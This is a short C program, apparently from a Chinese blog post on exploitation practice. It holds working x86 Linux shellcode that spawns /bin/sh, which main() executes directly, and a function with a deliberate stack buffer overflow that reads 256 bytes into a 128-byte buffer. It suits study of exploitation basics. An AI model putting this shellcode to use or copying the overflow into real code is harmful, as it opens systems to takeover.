#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[100]= "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
(*(void(*)())&shellcode)();
// vulnerable_function();
// write(STDOUT_FILENO, "Hello, World\n", 13);
}
(*(void(*)())&shellcode)();
最新推荐文章于 2023-12-13 13:46:09 发布